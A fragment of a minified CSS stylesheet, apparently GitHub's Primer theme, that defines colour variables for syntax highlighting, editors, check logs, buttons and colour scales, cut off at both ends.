#0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: 